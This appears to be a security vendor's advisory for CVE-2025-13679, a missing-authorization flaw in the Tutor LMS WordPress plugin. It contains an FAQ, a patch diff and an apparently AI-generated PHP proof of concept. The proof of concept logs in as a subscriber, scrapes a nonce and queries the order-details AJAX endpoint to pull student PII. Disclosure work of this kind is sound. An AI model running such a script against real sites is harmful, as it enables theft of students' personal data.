What is CVE-2025-13679?

CVE-2025-13679 is a medium-severity vulnerability in the Tutor LMS plugin for WordPress, affecting versions up to and including 3.9.3. It involves a missing authorization check in the get_order_by_id() function, allowing authenticated users with Subscriber-level access and above to access sensitive order details.

How does this vulnerability work?

The vulnerability allows authenticated users to exploit an AJAX endpoint to retrieve sensitive order information by sending a POST request with a valid order ID. The lack of proper capability checks means that any logged-in user can access this data, which includes personally identifiable information.

Who is affected by this vulnerability?

Any WordPress site using the Tutor LMS plugin version 3.9.3 or earlier is affected. Specifically, authenticated users with Subscriber-level permissions or higher can exploit this vulnerability to access sensitive information.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the version of the Tutor LMS plugin currently installed. If it is version 3.9.3 or earlier, your site is susceptible to this vulnerability.

How can I fix CVE-2025-13679?

To fix this vulnerability, update the Tutor LMS plugin to version 3.9.4 or later, where the issue has been patched. This version includes proper authorization checks to prevent unauthorized access to sensitive order details.

What is the CVSS score and what does it mean?

The CVSS score for CVE-2025-13679 is 6.5, categorized as medium severity. This indicates a moderate risk where exploitation could lead to significant data exposure, but it requires an authenticated user to initiate the attack.

What types of data are exposed due to this vulnerability?

The vulnerability exposes sensitive personally identifiable information (PII) such as student names, email addresses, phone numbers, and billing addresses, which can be exploited for malicious purposes.

How does the proof of concept demonstrate the vulnerability?

The proof of concept outlines a method for an authenticated user to log into a WordPress site and send a crafted request to the vulnerable AJAX endpoint, successfully retrieving sensitive order details without proper authorization.

What are the potential consequences of this vulnerability?

Successful exploitation can lead to a significant data breach, where attackers can harvest sensitive information for phishing, identity theft, or further targeted attacks against users.

What should I do if I cannot update the plugin immediately?

If immediate updates are not possible, consider restricting access to the WordPress admin area or disabling the Tutor LMS plugin until the update can be applied to mitigate the risk of exploitation.

Is there a way to monitor for unauthorized access attempts?

Implementing security monitoring tools or plugins that track user actions and access to sensitive data can help identify unauthorized access attempts related to this vulnerability.

What are the best practices for securing WordPress sites?

Best practices include keeping all plugins and themes updated, using strong passwords, implementing two-factor authentication, and regularly reviewing user permissions to minimize exposure to vulnerabilities.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2025-13679: Tutor LMS <= 3.9.3 – Missing Authorization to Authenticated (Subscriber+) Sensitive Information Exposure via tutor_order_details (tutor)

CVE ID CVE-2025-13679

Plugin tutor

Severity Medium (CVSS 6.5)

CWE 862

Vulnerable Version 3.9.3

Patched Version 3.9.4

Disclosed January 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-13679:
The vulnerability is a missing authorization flaw in the Tutor LMS WordPress plugin, versions up to and including 3.9.3. It allows authenticated users with Subscriber-level permissions or higher to access sensitive order details via an AJAX endpoint, leading to unauthorized exposure of personally identifiable information (PII). This constitutes a broken access control vulnerability with a CVSS score of 6.5.

The root cause is the absence of a capability check in the `get_order_by_id()` function within the `OrderController` class. The vulnerable function, located in `/tutor/ecommerce/OrderController.php`, was registered as a handler for the `wp_ajax_tutor_order_details` action. The function only performed a nonce verification via `tutor_utils()->is_nonce_verified()` but did not validate if the current user had the appropriate permissions to view e-commerce order data. This allowed any authenticated user, regardless of role, to call the endpoint and retrieve order information by supplying a valid order ID.

Exploitation involves an authenticated attacker sending a POST request to the WordPress admin AJAX endpoint (`/wp-admin/admin-ajax.php`) with the `action` parameter set to `tutor_order_details` and an `order_id` parameter. The attacker can enumerate order IDs to extract associated PII, including student names, email addresses, phone numbers, and billing addresses. The attack requires a valid WordPress authentication cookie and a valid nonce, which is typically available to all logged-in users via the page source.

The patch addresses the issue by renaming the vulnerable function from `get_order_by_id()` to `ajax_get_order_details()` and implementing a proper authorization check. In the patched version in `/tutor/ecommerce/OrderController.php`, the function now calls `tutor_utils()->check_current_user_capability()`. This new check ensures the user possesses the necessary permissions, likely `manage_options` or a custom Tutor LMS capability, before order details are returned. The patch also replaces the custom nonce check with a call to `tutor_utils()->check_nonce()` for consistency.

Successful exploitation leads to a significant data breach of sensitive student PII. Attackers can harvest names, email addresses, phone numbers, and physical billing addresses. This data can be used for phishing campaigns, identity theft, or sold on dark web markets. The vulnerability also enables reconnaissance, allowing attackers to map the platform’s user base and transaction history, potentially facilitating further targeted attacks.

Differential between vulnerable and patched code

Code Diff

--- a/tutor/classes/Course.php
+++ b/tutor/classes/Course.php
@@ -2119,12 +2119,17 @@
 			die( esc_html__( 'Please Sign-In', 'tutor' ) );
 		}

+		if ( ! tutor_utils()->is_enrolled( $course_id, $user_id ) ) {
+			die( esc_html__( 'User is not enrolled in course', 'tutor' ) );
+		}
+
 		/**
 		 * Filter hook provided to restrict course completion. This is useful
 		 * for specific cases like prerequisites. WP_Error should be returned
 		 * from the filter value to prevent the completion.
 		 */
 		$can_complete = apply_filters( 'tutor_user_can_complete_course', true, $user_id, $course_id );
+
 		if ( is_wp_error( $can_complete ) ) {
 			tutor_utils()->redirect_to( $permalink, $can_complete->get_error_message(), 'error' );
 		} else {
@@ -2992,6 +2997,25 @@
 			if ( $password_protected ) {
 				wp_send_json_error( __( 'This course is password protected', 'tutor' ) );
 			}
+
+			/**
+			 * This check was added to address a security issue where users could
+			 * enroll in a course via an AJAX call without purchasing it.
+			 *
+			 * To prevent this, we now verify whether the course is paid.
+			 * Additionally, we check if the user is already enrolled, since
+			 * Tutor's default behavior enrolls users automatically upon purchase.
+			 *
+			 * @since 3.9.4
+			 */
+			if ( tutor_utils()->is_course_purchasable( $course_id ) ) {
+				$is_enrolled = (bool) tutor_utils()->is_enrolled( $course_id, $user_id );
+
+				if ( ! $is_enrolled ) {
+					wp_send_json_error( __( 'Please purchase the course before enrolling', 'tutor' ) );
+				}
+			}
+
 			$enroll = tutor_utils()->do_enroll( $course_id, 0, $user_id );
 			if ( $enroll ) {
 				wp_send_json_success( __( 'Enrollment successfully done!', 'tutor' ) );
--- a/tutor/classes/Quiz.php
+++ b/tutor/classes/Quiz.php
@@ -283,6 +283,12 @@
 		$attempt_details = self::attempt_details( Input::post( 'attempt_id', 0, Input::TYPE_INT ) );
 		$feedback        = Input::post( 'feedback', '', Input::TYPE_KSES_POST );
 		$attempt_info    = isset( $attempt_details->attempt_info ) ? $attempt_details->attempt_info : false;
+		$course_id       = tutor_utils()->avalue_dot( 'course_id', $attempt_info, 0 );
+
+		if ( ! tutor_utils()->is_instructor_of_this_course( get_current_user_id(), $course_id ) ) {
+			wp_send_json_error( tutor_utils()->error_message() );
+		}
+
 		if ( $attempt_info ) {
 			//phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.serialize_unserialize
 			$unserialized = unserialize( $attempt_details->attempt_info );
--- a/tutor/ecommerce/CouponController.php
+++ b/tutor/ecommerce/CouponController.php
@@ -577,10 +577,7 @@
 	 */
 	public function bulk_action_handler() {
 		tutor_utils()->checking_nonce();
-
-		if ( ! current_user_can( 'manage_options' ) ) {
-			tutor_utils()->error_message();
-		}
+		tutor_utils()->check_current_user_capability();

 		// Get and sanitize input data.
 		$request     = Input::sanitize_array( $_POST ); //phpcs:ignore --sanitized already
@@ -630,9 +627,7 @@
 	public function coupon_permanent_delete() {
 		tutor_utils()->checking_nonce();

-		if ( ! current_user_can( 'manage_options' ) ) {
-			tutor_utils()->error_message();
-		}
+		tutor_utils()->check_current_user_capability();

 		// Get and sanitize input data.
 		$id = Input::post( 'id', 0, Input::TYPE_INT );
--- a/tutor/ecommerce/OrderController.php
+++ b/tutor/ecommerce/OrderController.php
@@ -84,7 +84,7 @@
 			 *
 			 * @since 3.0.0
 			 */
-			add_action( 'wp_ajax_tutor_order_details', array( $this, 'get_order_by_id' ) );
+			add_action( 'wp_ajax_tutor_order_details', array( $this, 'ajax_get_order_details' ) );

 			/**
 			 * Handle AJAX request for marking an order as paid by order ID.
@@ -258,10 +258,9 @@
 	 *
 	 * @return void
 	 */
-	public function get_order_by_id() {
-		if ( ! tutor_utils()->is_nonce_verified() ) {
-			$this->json_response( tutor_utils()->error_message( 'nonce' ), null, HttpHelper::STATUS_BAD_REQUEST );
-		}
+	public function ajax_get_order_details() {
+		tutor_utils()->check_nonce();
+		tutor_utils()->check_current_user_capability();

 		$order_id = Input::post( 'order_id' );

--- a/tutor/models/CouponModel.php
+++ b/tutor/models/CouponModel.php
@@ -810,7 +810,7 @@
 		} else {
 			$coupon = $this->get_coupon(
 				array(
-					'coupon_code'   => $coupon_code,
+					'coupon_code'   => esc_sql( $coupon_code ),
 					'coupon_status' => self::STATUS_ACTIVE,
 				)
 			);
--- a/tutor/tutor.php
+++ b/tutor/tutor.php
@@ -4,7 +4,7 @@
  * Plugin URI: https://tutorlms.com
  * Description: Tutor is a complete solution for creating a Learning Management System in WordPress way. It can help you to create small to large scale online education site very conveniently. Power features like report, certificate, course preview, private file sharing make Tutor a robust plugin for any educational institutes.
  * Author: Themeum
- * Version: 3.9.3
+ * Version: 3.9.4
  * Author URI: https://themeum.com
  * Requires PHP: 7.4
  * Requires at least: 5.3
@@ -26,7 +26,7 @@
  *
  * @since 1.0.0
  */
-define( 'TUTOR_VERSION', '3.9.3' );
+define( 'TUTOR_VERSION', '3.9.4' );
 define( 'TUTOR_FILE', __FILE__ );

 /**
--- a/tutor/vendor/composer/installed.php
+++ b/tutor/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'themeum/tutor',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => 'a5dd7291aa5fa582e64a050945b7ec437a833cc5',
+        'reference' => '043bcc9b76cd1e56219d167b8be313b5aa933109',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'themeum/tutor' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => 'a5dd7291aa5fa582e64a050945b7ec437a833cc5',
+            'reference' => '043bcc9b76cd1e56219d167b8be313b5aa933109',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/tutor/views/pages/ecommerce/order-list.php
+++ b/tutor/views/pages/ecommerce/order-list.php
@@ -27,7 +27,7 @@
 $limit        = (int) tutor_utils()->get_option( 'pagination_per_page', 10 );
 $offset       = ( $limit * $paged_filter ) - $limit;

-$order_controller = new OrderController();
+$order_controller = new OrderController( false );

 $get_orders  = $order_controller->get_orders( $limit, $offset );
 $orders      = $get_orders['results'];
--- a/tutor/views/pages/view_attempt.php
+++ b/tutor/views/pages/view_attempt.php
@@ -21,12 +21,18 @@
 $attempt_data = $attempt;
 $user_id      = tutor_utils()->avalue_dot( 'user_id', $attempt_data );
 $quiz_id      = $attempt && isset( $attempt->quiz_id ) ? $attempt->quiz_id : 0;
+$course_id    = tutor_utils()->avalue_dot( 'course_id', $attempt_data );
 if ( ! $attempt ) {
-	tutor_utils()->tutor_empty_state( __( 'Attemp not found', 'tutor' ) );
+	tutor_utils()->tutor_empty_state( __( 'Attempt not found', 'tutor' ) );
 	return;
 }
 if ( 0 === $quiz_id ) {
-	tutor_utils()->tutor_empty_state( __( 'Attemp not found', 'tutor' ) );
+	tutor_utils()->tutor_empty_state( __( 'Attempt not found', 'tutor' ) );
+	return;
+}
+
+if ( ! tutor_utils()->is_instructor_of_this_course( get_current_user_id(), $course_id ) ) {
+	tutor_utils()->tutor_empty_state();
 	return;
 }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-13679 - Tutor LMS <= 3.9.3 - Missing Authorization to Authenticated (Subscriber+) Sensitive Information Exposure via tutor_order_details

<?php

$target_url = 'https://vulnerable-site.com';
$username   = 'subscriber_user';
$password   = 'subscriber_pass';
$order_id   = 123; // Target order ID to enumerate

// Step 1: Authenticate to WordPress and obtain cookies and nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save session cookies
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Visit a page to extract a valid nonce (nonce is often in page source)
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/profile.php');
curl_setopt($ch, CURLOPT_POST, 0);
$profile_page = curl_exec($ch);

// Extract a nonce (pattern may vary; this is a generic example)
preg_match('/"ajaxnonce":"([a-f0-9]+)"/', $profile_page, $matches);
$nonce = $matches[1] ?? '';

if (empty($nonce)) {
    die("Could not extract nonce. Manual inspection required.n");
}

// Step 3: Exploit the missing authorization to fetch order details
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'action'   => 'tutor_order_details',
    'order_id' => $order_id,
    '_ajax_nonce' => $nonce
)));

$order_data = curl_exec($ch);
curl_close($ch);

// Output the sensitive order information
echo "Exploit Result for Order ID: $order_idn";
echo "====================================n";
echo $order_data;

?>

Frequently Asked Questions

What is CVE-2025-13679?
Overview of the vulnerability
CVE-2025-13679 is a medium-severity vulnerability in the Tutor LMS plugin for WordPress, affecting versions up to and including 3.9.3. It involves a missing authorization check in the get_order_by_id() function, allowing authenticated users with Subscriber-level access and above to access sensitive order details.
How does this vulnerability work?
Mechanism of exploitation
The vulnerability allows authenticated users to exploit an AJAX endpoint to retrieve sensitive order information by sending a POST request with a valid order ID. The lack of proper capability checks means that any logged-in user can access this data, which includes personally identifiable information.
Who is affected by this vulnerability?
Identifying impacted users
Any WordPress site using the Tutor LMS plugin version 3.9.3 or earlier is affected. Specifically, authenticated users with Subscriber-level permissions or higher can exploit this vulnerability to access sensitive information.
How can I check if my site is vulnerable?
Steps to identify vulnerability
To check if your site is vulnerable, verify the version of the Tutor LMS plugin currently installed. If it is version 3.9.3 or earlier, your site is susceptible to this vulnerability.
How can I fix CVE-2025-13679?
Mitigation steps
To fix this vulnerability, update the Tutor LMS plugin to version 3.9.4 or later, where the issue has been patched. This version includes proper authorization checks to prevent unauthorized access to sensitive order details.
What is the CVSS score and what does it mean?
Understanding the risk level
The CVSS score for CVE-2025-13679 is 6.5, categorized as medium severity. This indicates a moderate risk where exploitation could lead to significant data exposure, but it requires an authenticated user to initiate the attack.
What types of data are exposed due to this vulnerability?
Sensitive information at risk
The vulnerability exposes sensitive personally identifiable information (PII) such as student names, email addresses, phone numbers, and billing addresses, which can be exploited for malicious purposes.
How does the proof of concept demonstrate the vulnerability?
Exploit demonstration
The proof of concept outlines a method for an authenticated user to log into a WordPress site and send a crafted request to the vulnerable AJAX endpoint, successfully retrieving sensitive order details without proper authorization.
What are the potential consequences of this vulnerability?
Impact of exploitation
Successful exploitation can lead to a significant data breach, where attackers can harvest sensitive information for phishing, identity theft, or further targeted attacks against users.
What should I do if I cannot update the plugin immediately?
Temporary mitigation measures
If immediate updates are not possible, consider restricting access to the WordPress admin area or disabling the Tutor LMS plugin until the update can be applied to mitigate the risk of exploitation.
Is there a way to monitor for unauthorized access attempts?
Security monitoring advice
Implementing security monitoring tools or plugins that track user actions and access to sensitive data can help identify unauthorized access attempts related to this vulnerability.
What are the best practices for securing WordPress sites?
General security recommendations
Best practices include keeping all plugins and themes updated, using strong passwords, implementing two-factor authentication, and regularly reviewing user permissions to minimize exposure to vulnerabilities.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations